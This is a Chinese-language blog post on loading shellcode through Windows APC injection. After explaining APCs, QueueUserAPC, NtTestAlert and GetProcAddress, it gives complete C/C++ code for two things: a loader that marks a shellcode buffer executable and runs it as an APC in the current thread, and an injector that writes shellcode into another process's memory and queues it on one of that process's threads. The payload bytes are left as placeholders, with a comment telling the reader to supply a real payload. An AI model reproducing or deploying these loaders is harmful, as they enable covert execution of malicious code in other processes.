ShellCode加载 - APC注入
1、APC注入
1.1、什么是APC
- APC(Asynchronous Procedure Call)是Windows操作系统中的一个技术,它允许在特定线程的上下文中延迟执行一个函数
- 简而言之,APC是一种机制,允许程序异步地执行某些例程,而不是立即执行或等待某个事件或条件
- 每个线程都有自己的 APC 队列
- 系统生成的 APC 称为 内核模式 APC。 应用程序生成的 APC 称为 用户模式 APC,线程必须处于可警报状态才能运行用户模式 APC。
- 线程在调用 SleepEx、 SignalObjectAndWait、 MsgWaitForMultipleObjectsEx、 WaitForMultipleObjectsEx 或 WaitForSingleObjectEx 函数时进入可警报状态
1.2、简单的APC实现
#include <windows.h>
#include <iostream>
void CALLBACK ApcRoutine(LPVOID lpArg1, DWORD dwTimerLowValue, DWORD dwTimerHighValue) {
std::cout << "APC routine executed!" << std::endl;
}
int main() {
// GetCurrentThread 获取当前线程句柄
HANDLE hThread = GetCurrentThread();
// 队列APC到当前线程
QueueUserAPC(ApcRoutine, hThread, NULL);
// 让当前线程进入alertable状态,以处理APC
SleepEx(5000, TRUE);
return 0;
}
1.3、QueueUserAPC函数
- 函数介绍 :将用户模式 异步过程调用 (APC) 对象添加到指定线程的 APC 队列
- 函数语法
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, // 指向指定线程执行可警报等待操作时要调用的应用程序提供的 APC 函数的指针。
[in] HANDLE hThread, // 线程的句柄。 句柄必须具有 THREAD_SET_CONTEXT 访问权限
[in] ULONG_PTR dwData // 传递给 pfnAPC 参数指向的 APC 函数的单个值。
);
- 返回值:如果该函数成功,则返回值为非零值
1.4、NtTestAlert
- 函数介绍:Windows NT系列操作系统内核中的一个函数。它用于在线程中测试和处理APC(Asynchronous Procedure Call)的队列状态
- 主要作用是检查当前线程的APC队列。如果存在任何等待的用户模式APC,则线程将返回并执行该APC。
1.5、GetProcAddress函数
- 函数介绍:从指定的动态链接库 (DLL) 检索导出函数 (也称为过程) 或变量
- 函数语法
FARPROC GetProcAddress(
[in] HMODULE hModule, // 包含函数或变量的 DLL 模块的句柄。 LoadLibrary、LoadLibraryEx、LoadPackagedLibrary 或 GetModuleHandle 函数返回此句柄。
[in] LPCSTR lpProcName // 函数或变量名称,或函数的序号值
);
1.6、实现代码
#include<windows.h>
typedef DWORD(WINAPI* pNtTestAlert)();
unsigned char shellcode[] = "";
int main() {
DWORD oldProtect;
VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
// 获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();
return 0;
}
1.7、在进程中实现
#include <windows.h>
#include <tlhelp32.h>
// 声明NtTestAlert函数,该函数通常不包含在Windows SDK头文件中
extern "C" void NTAPI NtTestAlert();
void InjectAndExecuteShellcode(DWORD targetPid, unsigned char* shellcode, size_t shellcodeSize) {
// 1. 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// 2. 在目标进程的内存中分配内存以保存shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3. 将shellcode写入目标进程的内存
WriteProcessMemory(hProcess, remoteShellcode, shellcode, shellcodeSize, NULL);
// 4. 获取目标进程的某个线程
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, targetPid);
THREADENTRY32 te;
te.dwSize = sizeof(THREADENTRY32);
Thread32First(hSnapshot, &te);
HANDLE hThread = NULL;
do {
if (te.th32OwnerProcessID == targetPid) {
hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
break;
}
} while (Thread32Next(hSnapshot, &te));
// 5. 使用QueueUserAPC为目标线程添加一个指向shellcode的APC
QueueUserAPC((PAPCFUNC)remoteShellcode, hThread, NULL);
// 这里我们不直接调用NtTestAlert,而是假设目标进程中的线程在某个时候会调用它
// 或者线程会进入alertable状态并执行该APC。
// 清理句柄
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
}
int main() {
// 这是示例shellcode。你应该使用实际的有效负载。
unsigned char shellcode[] = { /*... shellcode bytes ...*/ };
DWORD targetPid = /* 目标进程ID */;
InjectAndExecuteShellcode(targetPid, shellcode, sizeof(shellcode));
return 0;
}
版权所有:Ljierui'Blog
文章标题:ShellCode加载 - APC注入
文章链接:https://fuckdog.org/post-24.html
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:ShellCode加载 - APC注入
文章链接:https://fuckdog.org/post-24.html
本站文章均为原创,未经授权请勿用于任何商业用途
推荐阅读: